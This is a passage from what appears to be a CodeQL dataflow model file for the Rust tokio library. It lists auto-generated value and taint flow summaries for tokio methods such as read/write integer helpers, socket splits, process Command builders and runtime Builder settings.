["repo:https://github.com/tokio-rs/tokio:tokio", "::new_unsplit", "Argument[0]", "ReturnValue.Field[crate::io::util::mem::SimplexStream::max_buf_size]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadF32::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadF32Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadF64::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadF64Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI128::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI128Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI16::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI16Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI32::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI32Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI64::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI64Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadI8::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU128::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU128Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU16::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU16Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU32::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU32Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU64::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU64Le::src]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::read_int::ReadU8::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::io::util::take::Take::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::io::util::take::Take::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::io::util::take::Take::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::limit", "Argument[self].Field[crate::io::util::take::Take::limit_]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_limit", "Argument[0]", "Argument[self].Field[crate::io::util::take::Take::limit_]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::apply_read_buf", "Argument[0].Field[crate::io::util::vec_with_initialized::ReadBufParts::initialized]", "Argument[self].Field[crate::io::util::vec_with_initialized::VecWithInitialized::num_initialized]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_read_buf", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::take", "Argument[self].Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF32::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF32Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF64::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteF64Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI128::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI128Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI16::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI16Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI32::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI32Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI64::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI64Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteI8::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::io::util::write_int::WriteI8::byte]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU128::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU128Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU16::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU16Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU32::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU32Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU64::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU64Le::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::util::write_int::WriteU8::dst]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::io::util::write_int::WriteU8::byte]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::loom::std::barrier::Barrier::num_threads]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::is_leader", "Argument[self].Field[crate::loom::std::barrier::BarrierWaitResult(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::wait", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::wait_timeout", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::read", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split::ReadHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split::WriteHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split_owned::OwnedReadHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::tcp::split_owned::OwnedWriteHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::tcp::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[0]", "Argument[self].Field[crate::net::unix::pipe::OpenOptions::unchecked]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[0]", "ReturnValue.Field[crate::net::unix::pipe::OpenOptions::unchecked]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::net::unix::socketaddr::SocketAddr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::unix::split::ReadHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::unix::split::WriteHalf(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::unix::split_owned::OwnedReadHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::net::unix::split_owned::OwnedWriteHalf::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::reunite", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::io::poll_evented::PollEvented::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self]", "ReturnValue.Field[0].Field[crate::net::unix::split::ReadHalf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self]", "ReturnValue.Field[1].Field[crate::net::unix::split::WriteHalf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::gid", "Argument[self].Field[crate::net::unix::ucred::UCred::gid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pid", "Argument[self].Field[crate::net::unix::ucred::UCred::pid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uid", "Argument[self].Field[crate::net::unix::ucred::UCred::uid]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::net::unix::socketaddr::SocketAddr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::id", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::process::Command::std]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::arg0", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_std", "Argument[self].Field[crate::process::Command::std]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_std_mut", "Argument[self].Field[crate::process::Command::std]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::current_dir", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::env", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::env_clear", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::env_remove", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::envs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_kill_on_drop", "Argument[self].Field[crate::process::Command::kill_on_drop]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::gid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_std", "Argument[self].Field[crate::process::Command::std]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::kill_on_drop", "Argument[0]", "Argument[self].Field[crate::process::Command::kill_on_drop]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::kill_on_drop", "Argument[0]", "ReturnValue.Field[crate::process::Command::kill_on_drop]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::kill_on_drop", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pre_exec", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::process_group", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stderr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stdin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::stdout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::uid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::inner_mut", "Argument[self].Field[crate::process::imp::reap::Reaper::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::process::imp::reap::Reaper::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::process::imp::reap::Reaper::orphan_queue]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[2]", "ReturnValue.Field[crate::process::imp::reap::Reaper::signal]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_wait", "Argument[self].Field[crate::process::imp::reap::test::MockWait::status]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::spawner", "Argument[self].Field[crate::runtime::blocking::pool::BlockingPool::spawner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::blocking::pool::Task::task]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::blocking::pool::Task::mandatory]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::hooks", "Argument[self].Field[crate::runtime::blocking::schedule::BlockingSchedule::hooks].Field[crate::runtime::task::TaskHarnessScheduleHooks::task_terminate_callback]", "ReturnValue.Field[crate::runtime::task::TaskHarnessScheduleHooks::task_terminate_callback]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0].Reference", "ReturnValue.Field[crate::runtime::blocking::schedule::BlockingSchedule::handle]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::blocking::task::BlockingTask::func].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::enable_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::enable_io", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::enable_time", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::event_interval", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::event_interval]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::event_interval", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::event_interval]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::event_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::global_queue_interval", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::global_queue_interval].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::global_queue_interval", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::global_queue_interval].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::global_queue_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_blocking_threads", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::max_blocking_threads]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_blocking_threads", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::max_blocking_threads]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_blocking_threads", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_io_events_per_tick", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::nevents]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_io_events_per_tick", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::nevents]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::max_io_events_per_tick", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[1]", "ReturnValue.Field[crate::runtime::builder::Builder::event_interval]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::on_thread_park", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::on_thread_start", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::on_thread_stop", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::on_thread_unpark", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_paused", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::start_paused]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_paused", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::start_paused]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::start_paused", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_keep_alive", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::keep_alive].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_keep_alive", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::keep_alive].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_name_fn", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_stack_size", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::thread_stack_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_stack_size", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::thread_stack_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::thread_stack_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_threads", "Argument[0]", "Argument[self].Field[crate::runtime::builder::Builder::worker_threads].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_threads", "Argument[0]", "ReturnValue.Field[crate::runtime::builder::Builder::worker_threads].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::worker_threads", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_ref", "Argument[self].Field[crate::runtime::driver::IoHandle::Enabled(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::metrics", "Argument[self].Reference", 